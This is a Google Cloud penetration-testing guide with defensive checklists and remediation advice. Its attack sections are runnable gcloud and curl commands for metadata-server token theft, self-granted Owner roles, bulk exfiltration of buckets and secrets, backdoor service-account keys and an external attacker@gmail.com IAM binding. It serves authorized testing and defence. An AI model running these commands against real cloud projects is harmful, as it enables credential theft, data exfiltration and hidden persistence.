GCP Pentesting
Google Cloud Platform (GCP) assessments focus on IAM service accounts, Cloud Storage buckets, Compute Engine instances, and Cloud Functions. GCP's service-account-centric model creates unique privilege escalation paths not found in AWS or Azure.
GCP Pentesting Kill Chain
Initial Access & Enumeration
Authentication & Project Discovery
# Authenticate with user credentials
gcloud auth login
# Authenticate with stolen service account key
gcloud auth activate-service-account --key-file=key.json
# Check current identity and active project
gcloud config list
gcloud auth list
gcloud projects list # List all projects you have access to
gcloud config set project PROJECT_IDIAM & Service Account Enumeration
# List service accounts (these are the primary attack targets in GCP)
gcloud iam service-accounts list --format="table(email,displayName,disabled)"
# Get project-level IAM policy (who has what roles)
gcloud projects get-iam-policy PROJECT_ID --format=json
# List all custom roles (may have overly permissive definitions)
gcloud iam roles list --project=PROJECT_ID
# Check your own permissions
gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members" --filter="bindings.members:$(gcloud config get-value account)" --format="table(bindings.role)"
# Enumerate service account keys (look for user-managed keys)
for SA in $(gcloud iam service-accounts list --format="value(email)"); do
echo "=== $SA ==="
gcloud iam service-accounts keys list --iam-account="$SA" --format="table(keyId,keyType,validAfterTime)"
doneService Enumeration
# Compute Engine instances (check for default SA, public IPs)
gcloud compute instances list --format="table(name,zone,status,networkInterfaces[0].accessConfigs[0].natIP,serviceAccounts[0].email)"
# Storage buckets
gsutil ls
gsutil ls -L gs://bucket-name/ # Detailed listing with ACLs
# Check for PUBLIC buckets (unauthenticated)
curl -s "https://storage.googleapis.com/bucket-name/"
# Cloud Functions (code may contain secrets)
gcloud functions list --format="table(name,runtime,status,serviceAccountEmail)"
gcloud functions describe FUNCTION_NAME --format=json
# Cloud SQL instances (database endpoints)
gcloud sql instances list --format="table(name,databaseVersion,ipAddresses)"
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret="secret-name"
# Cloud Run services
gcloud run services list --format="table(name,region,URL)"
# GKE clusters
gcloud container clusters list --format="table(name,zone,status,currentNodeCount)"Metadata Service Exploitation
Warning
Metadata-Flavor: Google header, which blocks most
basic SSRF attacks. However, SSRF via user-controlled HTTP libraries that forward headers can still reach it.
# GCP metadata service (requires header — unlike AWS IMDSv1)
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/
# Instance identity and attributes
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/hostname
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/zone
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/
# Get the default service account access token (CRITICAL)
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}
# Get the service account email
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"
# Get custom metadata (startup scripts often contain secrets)
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script"
# Project-wide metadata
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/project/attributes/"
# Use stolen token from attacker machine
curl -H "Authorization: Bearer ya29.xxx" "https://cloudresourcemanager.googleapis.com/v1/projects"Privilege Escalation
GCP privilege escalation revolves around service account impersonation and
IAM policy manipulation. The iam.serviceAccounts.actAs permission
is GCP's equivalent of AWS iam:PassRole.
| Technique | Required Permission | Impact |
|---|---|---|
| Create SA key | iam.serviceAccountKeys.create |
Persistent access as any SA |
| Impersonate SA token | iam.serviceAccounts.getAccessToken |
Short-lived token as any SA |
| Set IAM policy | resourcemanager.projects.setIamPolicy |
Grant yourself Owner role |
| Deploy Cloud Function as SA | cloudfunctions.functions.create + actAs |
Execute code as privileged SA |
| Compute instance as SA | compute.instances.create + actAs |
SSH into VM running as target SA |
# === Service Account Key Creation (persistent backdoor) ===
# If you have iam.serviceAccountKeys.create on a high-priv SA:
gcloud iam service-accounts keys create /tmp/key.json --iam-account=admin-sa@project-id.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=/tmp/key.json
# === Service Account Token Impersonation ===
# If you have iam.serviceAccounts.getAccessToken:
gcloud auth print-access-token --impersonate-service-account=admin-sa@project-id.iam.gserviceaccount.com
# === setIamPolicy — Grant yourself Owner ===
# Get current policy, add your account, set it back
gcloud projects get-iam-policy PROJECT_ID --format=json > /tmp/policy.json
# Edit policy.json to add your account as roles/owner
gcloud projects set-iam-policy PROJECT_ID /tmp/policy.json
# === Cloud Function priv esc (execute code as target SA) ===
cat > /tmp/main.py << 'FUNC'
import subprocess, json
def escalate(request):
# This function runs as the SA assigned to it
result = subprocess.run(['gcloud', 'projects', 'get-iam-policy', 'PROJECT_ID', '--format=json'],
capture_output=True, text=True)
return result.stdout
FUNC
gcloud functions deploy escalate --runtime=python312 --trigger-http --allow-unauthenticated --service-account=admin-sa@project-id.iam.gserviceaccount.com --source=/tmp/ --entry-point=escalate
# === Compute Engine priv esc (SSH into VM with target SA) ===
gcloud compute instances create privesc-vm --zone=us-central1-a --service-account=admin-sa@project-id.iam.gserviceaccount.com --scopes=cloud-platform --image-family=debian-12 --image-project=debian-cloud
gcloud compute ssh privesc-vm --zone=us-central1-a
# Now inside VM: curl metadata to get admin SA tokenPost-Exploitation & Persistence
# === Data Exfiltration ===
# Sync entire bucket to local disk
gsutil -m cp -r gs://sensitive-bucket/ ./exfil/
# Dump all secrets from Secret Manager
for secret in $(gcloud secrets list --format="value(name)"); do
echo "=== $secret ==="
gcloud secrets versions access latest --secret="$secret" 2>/dev/null
done
# Export Cloud SQL database
gcloud sql export sql INSTANCE_NAME gs://your-bucket/dump.sql --database=production
# Download Cloud Function source code (may contain hardcoded secrets)
for func in $(gcloud functions list --format="value(name)"); do
echo "[+] Downloading $func"
gcloud functions describe "$func" --format="value(sourceArchiveUrl)" | xargs -I{} gsutil cp {} "/tmp/$func.zip"
unzip -o "/tmp/$func.zip" -d "/tmp/$func/" 2>/dev/null
grep -rn "password|secret|key|token|api_key" "/tmp/$func/" 2>/dev/null
done
# === Persistence ===
# 1. Create SA key for long-term access
gcloud iam service-accounts keys create /tmp/backdoor-key.json --iam-account=existing-sa@project-id.iam.gserviceaccount.com
# 2. Create a new service account that blends in
gcloud iam service-accounts create svc-monitoring-agent --display-name="Monitoring Agent"
gcloud projects add-iam-policy-binding PROJECT_ID --member="serviceAccount:svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com" --role="roles/owner"
gcloud iam service-accounts keys create /tmp/persist.json --iam-account=svc-monitoring-agent@PROJECT_ID.iam.gserviceaccount.com
# 3. Add external account to IAM policy (cross-org persistence)
gcloud projects add-iam-policy-binding PROJECT_ID --member="user:attacker@gmail.com" --role="roles/editor"
# === Audit Log Awareness ===
# Check which services have audit logging enabled
gcloud projects get-iam-policy PROJECT_ID --format=json | jq '.auditConfigs'
# Note: Admin Activity logs are always on; Data Access logs may not be enabledGCP Tools
| Tool | Category | Best For |
|---|---|---|
| GCPBucketBrute | Enumeration | Brute-force bucket discovery and ACL testing |
| gcp_enum | Enumeration | Automated GCP resource enumeration and export |
| Hayat | Exploitation | IAM privilege escalation path discovery |
| ScoutSuite | Auditing | Multi-cloud security audit with HTML reports |
| Prowler | Auditing | CIS benchmark compliance checking |
| gcloud CLI | Client | Official CLI — essential for manual testing |
GCP Pentesting Labs
Hands-on labs targeting GCP-specific attack techniques.
Evidence to Capture
GCP findings turn on inheritance and on which API actually enforced the decision, so the project context is part of the evidence rather than background.
Project and organisation context: Project ID, project number, and the folder or organisation the policy is inherited from, for every finding.
IAM policy binding: The role, the member string (user, group or serviceAccount) and the resource it is bound to, including bindings inherited from above.
Service account key material: Key ID, key type, creation time and the account it belongs to. Never the private key itself.
API response: Raw JSON from the call that succeeded, so field names and values can be diffed against the client logs without translation.
Audit log entry: protoPayload.methodName, authenticationInfo.principalEmail and the timestamp for any action relied on as evidence.
Resource identifier: Bucket name and location, instance name and zone, or secret resource name exactly as returned.
Likely False Positives
GCP puts guardrails at the organisation and perimeter level, so a binding that reads as permissive may be overridden before it is ever exercised.
- Org policy blocks the action: A binding can exist while a constraint, such as the one on service account key creation, refuses the action outright.
- IAM Conditions exclude the request: A conditional binding may not apply to the time, resource or request attribute the test used, so the role never took effect.
- API not enabled in the project: A disabled service returns an error that reads like a permission failure. Both may be findings, but they are different findings.
- Default service account already restricted: The Compute Engine default account is often edited down or replaced; check before reporting default grants as live.
- Uniform bucket-level access changes the answer: With uniform access the IAM policy is authoritative and ACLs are ignored, so checking the other one produces the wrong verdict.
- VPC Service Controls in place: A service perimeter can block data access the IAM policy appears to allow, and the finding belongs to the perimeter design.
- Audit logging off for the service: An absent log entry may be a logging gap rather than an absence of activity.
Testing Checklist
Identity
- ☐ Project ID and project number recorded
- ☐ Inherited bindings from folder and organisation checked
- ☐ Custom roles expanded to their permission list
- ☐ Service account keys enumerated by type and age
- ☐ Workload identity federation bindings reviewed
- ☐ Domain-restricted sharing state noted
Data
- ☐ Uniform bucket-level access state recorded before assessing ACLs
- ☐ Bucket IAM policy captured with the JSON format flag
- ☐ Public access prevention state checked
- ☐ Secret Manager versions and their accessors listed
- ☐ BigQuery dataset and table access reviewed where in scope
Network
- ☐ VPC firewall rules exported
- ☐ External IP assignment on instances recorded
- ☐ Metadata server reachability tested with and without the Metadata-Flavor header
- ☐ Private Google Access and perimeter state noted
Logging
- ☐ Audit log configuration captured per service: admin, data read, data write
- ☐ Log sink destinations and exclusions noted
- ☐ Security Command Center findings checked for duplicates
- ☐ Timestamps captured in UTC with the log entry identifiers
Remediation & Defense
Identity
- • Replace primitive roles such as Owner and Editor with predefined or custom roles at the narrowest resource
- • Apply IAM Conditions to time-bound and resource-bound bindings
- • Delete user-managed service account keys and move to workload identity federation
- • Constrain domain-restricted sharing in the organisation policy
Data
- • Enable uniform bucket-level access and turn on public access prevention
- • Remove allUsers and allAuthenticatedUsers bindings
- • Restrict Secret Manager accessor bindings to the workloads that read them, then rotate the secrets
- • Enable customer-managed encryption where the data classification requires it
Network and metadata
- • Set disable-legacy-endpoints=true so the metadata server requires the Metadata-Flavor header
- • Replace default service accounts on instances with a dedicated least-privilege account
- • Remove 0.0.0.0/0 ingress rules that reach management ports
- • Put a service perimeter around the projects holding regulated data
Detection
- • Enable data-access audit logs for the services that hold regulated data
- • Export logs to a separate project the workload cannot write to
- • Alert on setIamPolicy and on service account key creation